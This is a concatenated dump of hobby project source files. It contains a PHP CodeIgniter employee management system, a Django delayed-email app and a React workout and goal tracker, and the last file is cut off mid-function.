$this->load->view('empQualificationDetails',['result'=>$result,'records'=>$records,'profile_pic'=>$profile_pic]); } public function addQualificationDetails($employee_id){ $this->form_validation->set_rules('ssc', 'S.S.C', 'required'); $this->form_validation->set_rules('hsc', 'H.S.C', 'required'); $this->form_validation->set_rules('graduation', 'Graduation', 'required'); $this->form_validation->set_rules('post_graduation', 'Post Graduation', 'required'); if ( $this->form_validation->run() ) { $data = $this->input->post(); $this->load->model('Queries'); if($this->Queries->insertEmpQualificationDetails($data)){ $this->session->set_flashdata('employee_add','Employee Added Successfully'); } else{ $this->session->set_flashdata('employee_add','Failed to Add Employee Details'); } return redirect('dashboard'); } else{ $this->empQualificationDetails($employee_id); } } public function deleteEmployee(){ $this->load->model('Queries'); foreach ($_POST['user_id'] as $userid) { $this->Queries->deleteEmp($userid); } return redirect('dashboard'); } public function edit_employee($employee_id){ $this->load->model('Queries'); $res=$this->Queries->find_employee($employee_id); $this->load->view('edit_employee', ['res'=>$res]); } public function update_employee($employee_id){ if($this->form_validation->run('add_article_rules')){ // return redirect('admin/add_article'); $post=$this->input->post(); unset($post['submit']); return $this->_flashAndRedirect( $this->articles->update_articles($employee_id, $post), "Article Updated Successfully.", "Article Failed To Update. Please Try Again." ); }else{ $this->load->view('admin/edit_article'); } } } ?> <file_sep>/employeemanagementsystem/application/views/dashboard.php <?php include('header.php');?> <div class="container" > <div class="" > <?php echo form_open("dashboard/search",['class'=>'navbar-form navbar-right','role'=> 'search']); ?> <div class="form-group"> <?php echo form_input(['name'=>'query','class'=>'form-control','placeholder'=>'Search']);?> </div> <?php echo form_submit(['value'=>'Search','class'=>'btn btn-success']);?> <?php echo form_close(); ?> <?php echo form_error('query','<div class="text-danger">','</div>'); ?> </div> <h1 class="" style="background-color: white;box-shadow: 0px 1px 0px black;"> Dashboard </h1> </div> <div class="container"> <div class="row"> <div class="col-lg-10"> </div> <div class="col-lg-4"> <ul class="nav nav-pills"> <li class="dropdown active"> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> Employee Management <span class="caret"></span> </a> <ul class="dropdown-menu"> <li><?php echo anchor("employee/createEmployee",'Create Employee')?></li> <li><?php echo anchor("employee/employeeList",'view Employee')?></li> </ul> </li> </ul> </div> </div> <div class="col-lg-10" ></div> <?php echo form_open("employee/deleteEmployee"); ?> <div class="row"> <input type="submit" value="Delete" class="btn btn-danger" onclick="return confirm('Are you sure')"> </div> <br> <?php if( $response = $this->session->flashdata('employee_add')): ?> <div class="row" > <div class="col-lg-12" > <div class="alert alert-dismissible alert-success"> <?php echo $response;?> </div> </div> </div> <?php endif; ?> <br> <div class="row"> <table class="table table-striped table-hover "> <thead> <tr> <td>#</td> <td>SL. No.</td> <td>First Name</td> <td>Username</td> <td>Designation</td> <td>User Role</td> <td>Joined At</td> </tr> </thead> <tbody> <?php if (count($result)): ?> <?php $count=$this->uri->segment(3, 0); ?> <?php foreach($result as $res): ?> <tr> <?php if($res->user_id == 1): ?> <td></td> <?php else :?> <td><?php echo form_checkbox(['value'=>$res->user_id ,'name' => 'user_id[]' ,'class'=>'checkbox' ]); ?></td> <?php endif; ?> <?php if($res->user_id == 1): ?> <td>#</td> <td><?php echo $res->name; ?></td> <?php else: ?> <td><?= ++$count; ?></td> <td><?php echo anchor("employee/empPersonalDetails/{$res->user_id}",$res->name) ; ?></td> <?php endif; ?> <td><?php echo $res->username; ?></td> <td><?php echo $res->role_name; ?></td> <td><?php echo $res->role_name; ?></td> <td><?= date('Y-m-d H:i:s',strtotime($res->created)); ?></td> <td> <?= anchor("employee/edit_employee/{$res->user_id}", 'Update', ['class'=>'btn btn-primary']); ?> </td> </tr> <?php endforeach; ?> <?php else: ?> <tr> <td>No Record Found !</td> </tr> <?php endif; ?> </tbody> </table> <?php echo $this->pagination->create_links(); ?> </div> <?php form_close(); ?> </div> <?php include('footer.php');?><file_sep>/employeemanagementsystem/application/views/empQualificationDetails.php <?php include ('header.php'); ?> <div class="container"> <?php echo form_open_multipart("employee/addQualificationDetails/{$result->user_id}", ['class' => 'form-horizontal']); ?> <?php echo form_hidden('user_id',$result->user_id); ?> <?php //echo form_hidden('emp_role_id',$result->user_role_id); ?> <div class="row"> <div class="col-lg-3"> <legend>Employee Details</legend> <div class="list-group"> <a href="" class="list-group-item"> <?php if(!empty($profile_pic)): ?> <img src="<?php echo $profile_pic->avatar;?>" style="width:230px"> <?php else :?> <img src="<?php echo base_url('resources/images/avatar.png'); ?>" style="width:230px" > <?php endif; ?> </a> <br> <?php echo form_upload(['name'=>'avatar','class'=>'form-control']); ?> <?php if(isset($upload_error)) echo $upload_error; ?> <br> <ul class="nav nav-pills nav-stacked"> <li class="btn btn-default"><a href="<?php echo base_url("employee/empPersonalDetails/{$result->user_id}"); ?>">Personal Details</a></li> <li class="btn btn-default"><a href="<?php echo base_url("employee/empContactDetails/{$result->user_id}"); ?>">Contact Details</a></li> <li class="btn btn-default"><a href="<?php echo base_url("employee/empQualificationDetails/{$result->user_id}"); ?>">Qualification Details</a></li> </ul> </div> </div> <div class="col-lg-9"> <legend>Qualification Details</legend> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">S.S.C</label> <div class="col-lg-10"> <?php if(!empty($records)): ?> <?php echo form_input(['name'=>'ssc','class'=>'form-control','placeholder'=>'S.S.C','value'=>set_value('ssc',$records->ssc)]);?> <?php else :?> <?php echo form_input(['name'=>'ssc','class'=>'form-control','placeholder'=>'S.S.C','value'=>set_value('ssc')]);?> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('ssc','<div class="text-danger">','</div>'); ?> </div> </div> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">H.S.C</label> <div class="col-lg-10"> <?php if(!empty($records)): ?> <?php echo form_input(['name'=>'hsc','class'=>'form-control','placeholder'=>'H.S.C','value'=>set_value('hsc',$records->hsc)]);?> <?php else :?> <?php echo form_input(['name'=>'hsc','class'=>'form-control','placeholder'=>'H.S.C','value'=>set_value('hsc')]);?> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('hsc','<div class="text-danger">','</div>'); ?> </div> </div> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">Graduation</label> <div class="col-lg-10"> <?php if(!empty($records)): ?> <?php echo form_input(['name'=>'graduation','class'=>'form-control','placeholder'=>'Graduation','value'=>set_value('graduation',$records->graduation)]);?> <?php else :?> <?php echo form_input(['name'=>'graduation','class'=>'form-control','placeholder'=>'Graduation','value'=>set_value('graduation')]);?> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('graduation','<div class="text-danger">','</div>'); ?> </div> </div> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">Post Graduation</label> <div class="col-lg-10"> <?php if(!empty($records)): ?> <?php echo form_input(['name'=>'post_graduation','class'=>'form-control','placeholder'=>'Post Graduation','value'=>set_value('post_graduation',$records->post_graduation)]);?> <?php else :?> <?php echo form_input(['name'=>'post_graduation','class'=>'form-control','placeholder'=>'Post Graduation','value'=>set_value('post_graduation')]);?> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('post_graduation','<div class="text-danger">','</div>'); ?> </div> </div> <br> <br> <br> <br> <br> <br> <div class="form-group"> <div class="col-lg-12 col-lg-offset-5"> <?php if(!empty($records)): ?> <?php else :?> <?php echo form_submit(['value'=>'Submit','class'=>'btn btn-success']);?> <?php echo form_reset(['value'=>'Reset','class'=>'btn btn-default']);?> <?php endif; ?> </div> </div> <?php echo form_close(); ?> </div> <?php include ('footer.php'); ?><file_sep>/employeemanagementsystem/application/views/empdashboard.php <?php include ('header.php'); ?> <div class="col-lg-5"> <h1 style=" text-shadow: 0px 1px 3px black; ">Employee Dashboard</h1> </div> <?php include ('footer.php'); ?><file_sep>/employeemanagementsystem/application/views/header.php <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Admin Panel</title> <link rel="stylesheet" href="<?php echo base_url('resources/css/bootstrap.min.css');?>" /> <link rel="stylesheet" href="<?php echo base_url('resources/css/jquery-ui.css');?>" /> <link rel="stylesheet" href="<?php echo base_url('resources/css/style.css');?>" /> <script src="<?php echo base_url('resources/js/jquery-3.1.0.js'); ?>"></script> <script src="<?php echo base_url('resources/js/jquery-1.12.4.js'); ?>"></script> <script src="<?php echo base_url('resources/js/jquery-ui.js'); ?>"></script> <script> $( function() { $( "#datepicker" ).datepicker(); } ); </script> </head> <body> <nav class="navbar navbar-inverse"> <div class="container-fluid"> <div class="col-lg-6"> <div class="navbar-header"> <a class="navbar-brand" href="#">Employee Management System</a> </div> </div> <div class="col-lg-6"> <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-2"> <ul class="nav navbar-nav navbar-right"> <?php if($this->session->userdata('user_id')): ?> <li class="dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-expanded="false">Logout<span class="caret"></span></a> <ul class="dropdown-menu" role="menu"> <li><?php echo anchor("dashboard/changePassword" , 'Change Password'); ?></li> <li><?php echo anchor("login/logout" , 'Logout'); ?></li> </ul> </li> <?php else : ?> <?php endif; ?> </ul> </div> </div> </nav> <?php $host= 'http//'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']; ?> <?php if($this->session->userdata('user_id')): ?> <ul class="breadcrumb"> <?php if(($host == 'http//'.$_SERVER['SERVER_NAME'].'/empmanagementsys/dashboard') || ($host == 'http//'.$_SERVER['SERVER_NAME'].'/empmanagementsys/index.php/dashboard')): ?> <li><a href="<?php echo base_url('dashboard'); ?>">Home</a></li> <?php else: ?> <li><a href="<?php echo base_url('dashboard'); ?>">Home</a></li> <li><a href="<?php echo $_SERVER['PHP_SELF']; ?>">Employee</a></li> <?php endif; ?> </ul> <?php else : ?> <?php endif ; ?>
4c5358bf2f20db04bdbc55cc851c7f59d3a18b21
[ "Markdown", "SQL", "PHP" ]
13
SQL
frachma99/employeemanagementsystem
36ee7e7f00dfc6498a71f3f4e22bec9c07594d05
aa0e224e8ba9f2eeadf404131b0800ea5b961ce5
refs/heads/main
<repo_name>AndruRus/E2_HW<file_sep>/testemail/urls.py from django.contrib import admin from django.urls import path from sendemail.views import MainView, SendsView, EmailListView urlpatterns = [ path('admin/', admin.site.urls), path('', MainView.as_view(), name='main'), path('sends/', SendsView.as_view(), name='sends'), path('list/', EmailListView.as_view(), name='list'), ] <file_sep>/sendemail/apps.py from django.apps import AppConfig from django.db.models import BigAutoField from django.conf import settings from django.core.mail import send_mail class SendemailConfig(AppConfig): default_auto_field = 'django.db.models.BigAutoField' name = 'sendemail' <file_sep>/sendemail/views.py from django.shortcuts import render from django.views.generic.base import TemplateView from django.views.generic.edit import FormView from django.views.generic import CreateView, ListView from sendemail.forms import ContactForm from sendemail.models import EmailList from django.urls import reverse_lazy from django.conf import settings from django.core.mail import send_mail class SendsView(TemplateView): template_name = 'sends.html' class MainView(CreateView): model = EmailList form_class = ContactForm success_url = reverse_lazy('sends') template_name = 'main.html' class EmailListView(ListView): model = EmailList def get_queryset(self): context = EmailList.objects.order_by('-pk')[:10] return context <file_sep>/sendemail/admin.py from django.contrib import admin from sendemail.models import EmailList from django.conf import settings from django.core.mail import send_mail @admin.register(EmailList) class EmailAdmin(admin.ModelAdmin): pass<file_sep>/sendemail/models.py from django.db import models from django.db.models.signals import pre_save from django.dispatch import receiver from django.conf import settings from django.core.mail import send_mail import threading class EmailList(models.Model): email = models.EmailField(blank=True, null=True) delay = models.IntegerField() message = models.CharField(max_length=25) def __str__(self): return self.message def email_yandex(message, email=''): send_mail( 'Test Email', message, settings.EMAIL_HOST_USER, [email], fail_silently=True ) @receiver(pre_save, sender=EmailList) def send_email(sender, instance, **kwargs): t = threading.Timer(instance.delay, email_yandex, args=(instance.message, instance.email, )) t.start()<file_sep>/sendemail/forms.py from django import forms from django.conf import settings from django.core.mail import send_mail import threading from sendemail.models import EmailList class ContactForm(forms.ModelForm): email = forms.EmailField(max_length=256, required=False) delay = forms.IntegerField(widget=forms.NumberInput) message = forms.CharField(widget=forms.Textarea) class Meta: model = EmailList fields = '__all__'<file_sep>/README.md E2.9. Домашнее задание. Проект на heroku: https://testemail-yandex.herokuapp.com/
7348d6a866c3ee99976e4b6e531069f693256bb6
[ "Markdown", "Python" ]
7
Python
AndruRus/E2_HW
39bd8911f4cfd8d1da81c758b8d01a731ce99afe
bb0795375e11ac98c27041c3cefeb485b63de494
refs/heads/master
<file_sep>import { Modal, Card, Button, Form, Row, Col } from "react-bootstrap"; import { useState, useEffect } from 'react' import { updateExercises } from '../../utils/exerciseAPI' import {getUserStorage} from '../../utils/userStorage'; function UpdateExercise(props) { const exercise = props.selectedexercise; const [errors, setErrors] = useState({}) const [form, setForm] = useState({}) const {token} = getUserStorage('ra_session') const setExercises = props.setExercises; const selectedIndex = props.selectedIndex; const exercises = props.exercises; useEffect(() => { setForm(exercise); }, [exercise]); const setField = (field, value) => { setForm({ ...form, [field]: value }) if (!!errors[field]) setErrors({ ...errors, [field]: null }) } const findFormErrors = () => { const { name, target_muscle_group } = form var regex = /^[A-Za-z0-9]+(?:[ _-][A-Za-z0-9]+)*$/; const newErrors = {} if (!name || name === '') { newErrors.name = 'cannot be blank!' } else if (name.length > 30) { newErrors.name = 'name is too long!' } else if (!name.match(regex)) { newErrors.name = 'field must not include spesial characters' } if (!target_muscle_group || target_muscle_group === '') { newErrors.target_muscle_group = 'add a target muscle group!' } else if (!target_muscle_group.match(regex)) { newErrors.target_muscle_group = 'field must not include spesial characters' } return newErrors } async function onSubmitClicked(e) { delete form['exerciseSets'] e.preventDefault() const newErrors = findFormErrors() if (Object.keys(newErrors).length !== 0) { setErrors(newErrors) } else { try { const createdItem = await updateExercises(form, token); let newArr = exercises; newArr[selectedIndex] = createdItem; setExercises(newArr); alert('Submitted!') } catch (error) { console.error(error.message); alert('Error!') } props.onHide() } }; return ( <Modal {...props} size="lg" aria-labelledby="contained-modal-title-vcenter" centered> <Modal.Header> <Modal.Title id="contained-modal-title-vcenter"> <h3>Update Exercises</h3> </Modal.Title> </Modal.Header> <Modal.Body> <Card.Body> <Form onSubmit={onSubmitClicked}> <Form.Group as={Row}> <Form.Label column sm="2">Id:</Form.Label> <Col sm="10"> <Form.Control plaintext readOnly defaultValue={exercise.id}/> </Col> </Form.Group> <Form.Group> <Form.Label>Exercise Name</Form.Label> <Form.Control type="text" name="name" defaultValue={exercise.name} onChange={e => setField('name', e.target.value)} isInvalid={!!errors.name} /> <Form.Control.Feedback type='invalid'> {errors.name} </Form.Control.Feedback> </Form.Group> <Form.Group> <Form.Label>Description</Form.Label> <Form.Control as="textarea" rows={3} type="text" defaultValue={exercise.description} onChange={e => setField('description', e.target.value)} isInvalid={!!errors.description} /> <Form.Control.Feedback type='invalid'> {errors.description} </Form.Control.Feedback> </Form.Group> <Form.Group> <Form.Label>Target Muscle Group</Form.Label> <Form.Control type="text" defaultValue={exercise.target_muscle_group} onChange={e => setField('target_muscle_group', e.target.value)} isInvalid={!!errors.target_muscle_group} /> <Form.Control.Feedback type='invalid'> {errors.target_muscle_group} </Form.Control.Feedback> </Form.Group> <Form.Group> <Form.Label>Link to Video</Form.Label> <Form.Control type="text" defaultValue={exercise.vid_link} onChange={e => setField('vid_link', e.target.value)} /> </Form.Group> <Button type="submit">Submit</Button> </Form> </Card.Body> </Modal.Body> <Modal.Footer> <Button onClick={props.onHide}>Close</Button> </Modal.Footer> </Modal> ); }; export default UpdateExercise; <file_sep>import './WorkoutPage.css'; import { useState, useEffect } from "react"; import { Button, Form, Container, ButtonGroup, Col } from "react-bootstrap"; import WorkoutList from '../components/Workout/WorkoutList'; import CreateWorkout from '../components/Workout/CreateWorkout'; import UpdateWorkout from '../components/Workout/UpdateWorkout'; import { getAllWorkouts } from '../utils/workoutAPI'; import { getAllExercises } from "../utils/exerciseAPI"; import { getUserStorage } from '../utils/userStorage'; function WorkoutPage() { const [modalWorkoutCreate, setModalWorkoutCreate] = useState(false); const [modalWorkoutUpdate, setModalWorkoutUpdate] = useState(false); const [workouts, setWorkouts] = useState([]); const [exercises, setExercises] = useState([]); const [selectedworkout, setSelectedWorkout] = useState(); const [selectedIndex, setSelectedIndex] = useState(); const [isLoading, setIsLoading] = useState(true); const { token, tokenParsed } = getUserStorage('ra_session') const [isContributor, setIsContributor] = useState(false); useEffect(() => { if (tokenParsed) { const roles = tokenParsed.roles roles.map(role => { if (role === "Admin" || role === "Contributor") { setIsContributor(true); } }) } }, [tokenParsed, token]) useEffect(() => { if (token) { async function fetchWorkoutData() { try { const item = await getAllWorkouts(token); return item; } catch (error) { console.error(error.message); } } fetchWorkoutData().then(workouts => { setWorkouts(workouts); setIsLoading(false); }) } }, [token]); useEffect(() => { if (token) { async function fetchExerciseData() { try { const item = await getAllExercises(token); return item; } catch (error) { console.error(error.message); } } fetchExerciseData().then(exercises => { setExercises(exercises); setIsLoading(false); }) } }, [token, workouts]); useEffect(() => { if (workouts) { setSelectedWorkout(workouts[0]) } }, [workouts]) function handleChange(newValue) { setSelectedWorkout(workouts[newValue]) setSelectedIndex(newValue) } return ( <Container className="bd-content ps-lg-4"> {isLoading && <p>loading</p>} {workouts.length !== 0 && ( <div> <h1>Workouts</h1> <WorkoutList workouts={workouts} /> {isContributor && <ButtonGroup className="mb-2 mr-2" aria-label="Update Workout"> <Button type="button" className="btn btn-primary" variant="primary" onClick={() => setModalWorkoutCreate(true)}> Create New Workout </Button> <CreateWorkout show={modalWorkoutCreate} exercises={exercises} onHide={() => setModalWorkoutCreate(false)} setWorkouts={setWorkouts}/> </ButtonGroup> } </div> )} { (selectedworkout != null && isContributor) && ( <div className="nav justify-content-center"> <Form.Row className="align-items-center"> <Col xs="auto" className="my-1"> <Form.Control onChange={(e) => handleChange(e.target.value)} as="select" className="mr-sm-2" custom> {workouts.map((workout, index) => <option key={index} value={index}> {workout.id}: {workout.name} </option>)} </Form.Control> </Col> <Col xs="auto" className="my-1"> <Button type="submit" onClick={() => setModalWorkoutUpdate(true)}>Update Selected Workout </Button> <UpdateWorkout show={modalWorkoutUpdate} onHide={() => setModalWorkoutUpdate(false)} exercises={exercises} selectedworkout={selectedworkout} workouts={workouts} selectedIndex={selectedIndex} setWorkouts={setWorkouts}/> </Col> </Form.Row> </div> )} </Container> ); }; export default WorkoutPage;<file_sep>import { Modal, Card, Button, Form, Col } from "react-bootstrap"; import { useState, useEffect } from 'react' import { getUserStorage } from '../../utils/userStorage'; import { getAllWorkouts } from '../../utils/workoutAPI'; import { createGoal } from '../../utils/goalsAPI'; function CreateGoal(props) { const [workouts, setWorkouts] = useState([]) const [errors, setErrors] = useState({}) const [form, setForm] = useState({}) const [workoutInput, setWorkoutInput] = useState([]); const [workoutIds, setWorkoutIds] = useState([]); const [workoutList, setWorkoutList] = useState([]); const { token, tokenParsed } = getUserStorage('ra_session') const setGoals = props.setAddedGoals; //set default value for workouts dropdown useEffect(() => { if (workouts) { setWorkoutInput(workouts[0]) } }, [workouts]); //set selected workouts to the form useEffect(() => { setField('workouts', workoutIds) }, [workoutIds]); //set user id to the form useEffect(() => { if (tokenParsed) { setField('profile', { 'id': tokenParsed.sub }) } }, []); //get all workouts useEffect(() => { if (token) { async function fetchWorkoutData() { try { const item = await getAllWorkouts(token); return item; } catch (error) { console.error(error.message); } } fetchWorkoutData().then(workouts => { setWorkouts(workouts); }) } }, [token]); //set form inputs to state const setField = (field, value) => { setForm({ ...form, [field]: value }) if (!!errors[field]) setErrors({ ...errors, [field]: null }) } //find errors const findFormErrors = () => { const newErrors = {} if (workoutList.length === 0) { newErrors.workoutselected = 'Select and add workout' } return newErrors } //crete new workout async function onSubmitClicked(e) { e.preventDefault(); const newErrors = findFormErrors(); if (Object.keys(newErrors).length !== 0) { setErrors(newErrors) } else { try { const createdItem = await createGoal(form, token); setGoals((previousList => [ ...previousList, createdItem])) alert('Submitted!') } catch (error) { console.error(error.message); alert('Error!') } closeWindow(); } }; //clear states and close window function closeWindow() { props.onHide() setWorkoutList([]); setWorkoutIds([]); } //create new set function addToList(e) { e.preventDefault(); setWorkoutList([...workoutList, workoutInput]); setWorkoutIds([...workoutIds, { 'id': workoutInput.id }]); setErrors([]) } function formatDate(e) { let date = new Date(e.target.value); let formatted = date.getDate() + "-" + ("0" + (date.getMonth() + 1)).slice(-2) + "-" + date.getFullYear(); setField('end_date', formatted); } return ( <Modal {...props} size="lg" aria-labelledby="contained-modal-title-vcenter" centered> <Modal.Header> <Modal.Title id="contained-modal-title-vcenter"> <h3>Add New Goal</h3> </Modal.Title> </Modal.Header> <Modal.Body> <Card.Body> <Form onSubmit={onSubmitClicked}> <Form.Group> <Form.Label>Goal end date</Form.Label> <Form.Control type="date" name="date" required onChange={formatDate} /> </Form.Group> <Form.Group> <Form.Label>Selected workouts:</Form.Label> <br></br> {workoutList.map(workout => <p>Name: {workout.name}</p> )} </Form.Group> <Button type="submit">Submit</Button> </Form> <Form onSubmit={addToList}> <Card className="set-card"> <Card.Body> <Form.Row> <Form.Group as={Col} > <Form.Label>Workouts</Form.Label> <Form.Control onChange={(e) => setWorkoutInput(workouts[e.target.value])} as="select" className="mr-sm-2" custom isInvalid={!!errors.workoutselected} > {workouts.map((workout, index) => <option key={index} value={index}> {workout.id}: {workout.name} </option>)} </Form.Control> <Form.Control.Feedback type='invalid'> {errors.workoutselected} </Form.Control.Feedback> </Form.Group> <Form.Group as={Col}> <Button style={{ margin: '2em 0' }} type="submit">Add workout</Button> </Form.Group> </Form.Row> </Card.Body> </Card> </Form> </Card.Body> </Modal.Body> <Modal.Footer> <Button onClick={closeWindow}>Close</Button> </Modal.Footer> </Modal > ); }; export default CreateGoal; <file_sep>export const setUserStorage = (key, value) => { const json = JSON.stringify(value); const encrypted = btoa(json); localStorage.setItem(key, encrypted); } export const getUserStorage = (key) => { const storedValue = localStorage.getItem(key); if (!storedValue) { return false; } return JSON.parse(atob(storedValue)); } export const cleareUserStorage = () => { localStorage.clear(); }<file_sep>import './ShowWorkouts.css'; import { Button, Modal } from 'react-bootstrap'; export const ShowWorkouts = ({ showModal, setShowModal, workout }) => { return ( <Modal show={showModal} onHide={() => setShowModal(false)} size="lg" aria-labelledby="contained-modal-title-vcenter" centered> <Modal.Header closeButton> <Modal.Title>Goal workout name</Modal.Title> </Modal.Header> <Modal.Body> {workout.length !== 0 && workout.map(singleworkout => <h5>{singleworkout.name}</h5> )} </Modal.Body> <Modal.Footer> <Button variant="primary" onClick={() => setShowModal(false)}> Close </Button> </Modal.Footer> </Modal> ) };<file_sep>import './App.css'; import { BrowserRouter as Router, Switch, Route } from 'react-router-dom'; import Container from 'react-bootstrap/Container'; import NotFound from './containers/NotFound'; import ProfilePage from './containers/ProfilePage'; import ExercisePage from './containers/ExercisePage'; import WorkoutPage from './containers/WorkoutPage'; import DashBoardPage from './containers/DashBoardPage'; import 'bootstrap/dist/css/bootstrap.min.css'; import KeycloakConnection from './components/KeycloakConnection'; import ApplicationFrame from './components/ApplicationFrame'; function App() { return ( <div> <Router> <Container className="App"> <ApplicationFrame /> <main> <Switch> <Route exact path="/" component={DashBoardPage} /> <Route exact path="/dashboard" component={DashBoardPage} /> <Route exact path="/profile" component={ProfilePage} /> <Route exact path="/exercises" component={ExercisePage} /> <Route exact path="/workouts" component={WorkoutPage} /> <Route exact path="/*" component={NotFound} /> </Switch> </main> </Container> </Router> </div> ); } export default App; <file_sep>import { Button, Form, FormControl, Container, ButtonGroup, Col } from "react-bootstrap"; import './DashBoardPage.css'; import GetGoals from '../components/Dashboard/GetGoals'; import CreateGoal from '../components/Dashboard/CreateGoal'; import Clock from '../components/Dashboard/Clock'; import { useEffect, useState } from "react"; function DashBoardPage() { const [modalGoalCreate, setModalGoalCreate] = useState(false); const [addedGoals, setAddedGoals] = useState([]); return ( <div> <br /> <Clock /> <br /> <GetGoals addedGoals={addedGoals}/> <div style={{ margin: "1em" }}> <ButtonGroup className="mb-2 mr-2" aria-label="Update Workout"> <Button type="button" className="btn btn-primary" variant="primary" onClick={() => setModalGoalCreate(true)}>Add New Goal </Button> <CreateGoal show={modalGoalCreate} onHide={() => setModalGoalCreate(false)} setAddedGoals={setAddedGoals} /> </ButtonGroup></div> </div> ) } export default DashBoardPage<file_sep>import { Link } from 'react-router-dom'; import ApplicationFrame from '../components/ApplicationFrame'; const NotFound = () => ( <div> <ApplicationFrame /> <br /> <h1>Page not found.</h1> <Link to="/login">Go to login page</Link> </div> ); export default NotFound;<file_sep>import { Modal, Card, Button, Form } from "react-bootstrap"; import { useState } from 'react' import { createExercises } from '../../utils/exerciseAPI' import { getUserStorage } from '../../utils/userStorage'; function CreateExercise(props) { const [errors, setErrors] = useState({}) const [form, setForm] = useState({}) const { token } = getUserStorage('ra_session') const setExercises = props.setExercises; const setField = (field, value) => { setForm({ ...form, [field]: value }) if (!!errors[field]) setErrors({ ...errors, [field]: null }) } const findFormErrors = () => { const { name, target_muscle_group } = form var regex = /^[A-Za-z0-9]+(?:[ _-][A-Za-z0-9]+)*$/; const newErrors = {} if (!name || name === '') { newErrors.name = 'cannot be blank!' } else if (name.length > 30) { newErrors.name = 'name is too long!' } else if (!name.match(regex)) { newErrors.name = 'field must not include spesial characters' } if (!target_muscle_group || target_muscle_group === '') { newErrors.target_muscle_group = 'add a target muscle group!' } else if (!target_muscle_group.match(regex)) { newErrors.target_muscle_group = 'field must not include spesial characters' } return newErrors } async function onSubmitClicked(e) { e.preventDefault() const newErrors = findFormErrors() if (Object.keys(newErrors).length !== 0) { setErrors(newErrors) } else { try { const createdItem = await createExercises(form, token); setExercises((previousList => [ ...previousList, createdItem])) alert('Submitted!') } catch (error) { console.error(error.message); alert('Error!') } props.onHide() } }; return ( <Modal {...props} size="lg" aria-labelledby="contained-modal-title-vcenter" centered> <Modal.Header> <Modal.Title id="contained-modal-title-vcenter"> <h3>Create New Exercises</h3> </Modal.Title> </Modal.Header> <Modal.Body> <Card.Body> <Form onSubmit={onSubmitClicked}> <Form.Group> <Form.Label>Exercise Name</Form.Label> <Form.Control type="text" name="name" placeholder="Exercis Name" onChange={e => setField('name', e.target.value)} isInvalid={!!errors.name} /> <Form.Control.Feedback type='invalid'> {errors.name} </Form.Control.Feedback> </Form.Group> <Form.Group> <Form.Label>Description</Form.Label> <Form.Control as="textarea" rows={3} type="text" placeholder="Description" onChange={e => setField('description', e.target.value)} isInvalid={!!errors.description} /> <Form.Control.Feedback type='invalid'> {errors.description} </Form.Control.Feedback> </Form.Group> <Form.Group> <Form.Label>Target Muscle Group</Form.Label> <Form.Control type="text" placeholder="Target Muscle Group" onChange={e => setField('target_muscle_group', e.target.value)} isInvalid={!!errors.target_muscle_group} /> <Form.Control.Feedback type='invalid'> {errors.target_muscle_group} </Form.Control.Feedback> </Form.Group> <Form.Group> <Form.Label>Link to Video</Form.Label> <Form.Control type="text" placeholder="Video link" onChange={e => setField('vid_link', e.target.value)} /> </Form.Group> <Button type="submit">Submit</Button> </Form> </Card.Body> </Modal.Body> <Modal.Footer> <Button onClick={props.onHide}>Close</Button> </Modal.Footer> </Modal> ); }; export default CreateExercise; <file_sep>import { Modal, Card, Button, Form, Row, Col } from "react-bootstrap"; import { useState, useRef, useEffect } from 'react' import { updateWorkout, getSetsForWorkout } from '../../utils/workoutAPI' import { createSet } from '../../utils/setAPI' import { getUserStorage } from '../../utils/userStorage'; function UpdateWorkout(props) { const workout = props.selectedworkout; const [exercises, setExercises] = useState([]) const [errors, setErrors] = useState({}) const [form, setForm] = useState({}) const [sets, setSets] = useState([]); const [exerciseSetList, setExerciseSetList] = useState([]); const [setId, setSetId] = useState([]); const [exerciseinput, setExerciseInput] = useState(); const setinput = useRef(); const { token } = getUserStorage('ra_session') const setWorkouts = props.setWorkout; const selectedIndex = props.selectedIndex; const workouts = props.workouts; useEffect(() => { setExercises(props.exercises) }, [props.exercises]); //set current workout details to form useEffect(() => { setForm(workout); }, [workout]); useEffect(() => { setField('exerciseSets', setId); }, [setId]); useEffect(() => { const newSetIdList = []; const newExerciseSetList = []; sets.map(set => { exercises.map(exe => { if (exe.id == set.exercise.slice(18)) { newExerciseSetList.push({ exercise: exe.name, exercise_repetitions: set.exercise_repetitions }); } }) newSetIdList.push({ 'id': set.id }); }) setSetId(newSetIdList); setExerciseSetList(newExerciseSetList); }, [sets]); //get sets of the workout useEffect(() => { async function fetchSetData() { try { const item = await getSetsForWorkout(workout, token); return item; } catch (error) { console.error(error.message); } } fetchSetData().then(setsdata => { setSets(setsdata); }) }, [workout]); //set default value for exercises dropdown useEffect(() => { if (exercises) { setExerciseInput(exercises[0]) } }, [exercises]) //set form fields const setField = (field, value) => { setForm({ ...form, [field]: value }) if (!!errors[field]) setErrors({ ...errors, [field]: null }) } //validation const findFormErrors = () => { const { name, type } = form var regex = /^[A-Za-z0-9]+(?:[ _-][A-Za-z0-9]+)*$/; const newErrors = {} if (!name || name === '') { newErrors.name = 'cannot be blank!' } else if (name.length > 30) { newErrors.name = 'name is too long!' } else if (!name.match(regex)) { newErrors.name = 'field must not include spesial characters' } if (!type || type === '') { newErrors.type = 'add a target muscle group!' } else if (!type.match(regex)) { newErrors.type = 'field must not include spesial characters' } return newErrors } //submit form async function onSubmitClicked(e) { delete form['profiles'] delete form['programs'] delete form['goals'] delete form['is_complete'] e.preventDefault() const newErrors = findFormErrors() if (Object.keys(newErrors).length !== 0) { setErrors(newErrors) } else { try { const createdItem = await updateWorkout(form, token); let newArr = workouts; newArr[selectedIndex] = createdItem; setWorkouts(newArr); } catch (error) { console.error(error.message); } alert('Submitted!') closeWindow(); } }; //clear states and close window function closeWindow(){ props.onHide() setExerciseSetList([]); 